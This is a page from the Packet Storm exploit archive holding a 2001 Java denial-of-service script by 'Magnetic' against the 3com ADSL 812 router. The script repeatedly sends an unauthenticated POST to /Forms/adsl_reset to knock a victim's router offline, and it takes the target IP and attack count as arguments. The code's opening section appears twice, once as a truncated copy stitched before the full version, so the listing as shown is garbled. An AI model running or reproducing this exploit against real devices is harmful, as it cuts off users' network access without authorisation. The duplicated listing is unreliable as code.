exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DoSadsl812.java

DoSadsl812.java
Posted Sep 11, 2001
Authored by Magnetic

Denial of service attack against a 3com ADSL 812 router in Java. Resets the router without any password, as described here.

tags | exploit, java, denial of service
SHA-256 | d2792e361535aff3141ac4bf948fa9e4f4c5ce5511f168232427b077a1eb4325

DoSadsl812.java

Change Mirror Download
// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



public static void main(String[] args) {

int port = 80;
int delay= 18000;//time to sleep while router is down
int loops=100;//number of
int i;
String server = "localhost";
Socket socket = null;
String lineToBeSent;
BufferedReader input;
PrintWriter output;
int ERROR = 1;

// read arguments
if(args.length == 2) {
server = args[0];
loops =Integer.parseInt(args[1]);
}
else{
System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
System.exit(ERROR);
}
for (i=0;i<loops;i++)
{

// connect to server
try {
socket = new Socket(server, port);
System.out.println("Socket Created " +
socket.getInetAddress() +
":" + socket.getPort());
}
catch (UnknownHostException e) {
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e) {
System.out.println("mmm, i think is a not vulnerable router xDD");
System.exit(ERROR);
}
// Denial Of Service for 3com ADSL 812 router
// You can reset ADSL router without password
// Vulnerability description: http://www.securityfocus.com/archive/1/184665
// usage : java DoSadsl server
// by mAgnEtIc

import java.net.*;
import java.io.*;

public class DoSadsl812 {



public static void main(String[] args) {

int port = 80;
int delay= 18000;//time to sleep while router is down
int loops=100;//number of
int i;
String server = "localhost";
Socket socket = null;
String lineToBeSent;
BufferedReader input;
PrintWriter output;
int ERROR = 1;

// read arguments
if(args.length == 2) {
server = args[0];
loops =Integer.parseInt(args[1]);
}
else{
System.out.println("Usage: java DoSadsl812 ip_victim number_attacks\n\nmAgNeTiC 2K+1\nGreetings to www.eupla.org");
System.exit(ERROR);
}
for (i=0;i<loops;i++)
{

// connect to server
try {
socket = new Socket(server, port);
System.out.println("Socket Created " +
socket.getInetAddress() +
":" + socket.getPort());
}
catch (UnknownHostException e) {
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e) {
System.out.println("mmm, i think is a not vulnerable router xDD");
System.exit(ERROR);
}
lineToBeSent=new String("POST /Forms/adsl_reset HTTP/1.1\n"
+"Host: " + server +"\n"
+"Connection: close\nContent-Length: 19\n\n"
+"Submit=Reset%20Line\n");

System.out.println("\nPOSTing xploit....\n");
try {
output = new PrintWriter(socket.getOutputStream(),true);

output.println(lineToBeSent);
}
catch (IOException e) {
System.out.println(e);
}


try {
Thread.sleep(delay);
} catch(InterruptedException e) { }

System.out.println("Wake Up\n");
try {
socket.close();
}
catch (IOException e) {
System.out.println(e);
}

}//efor
}
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close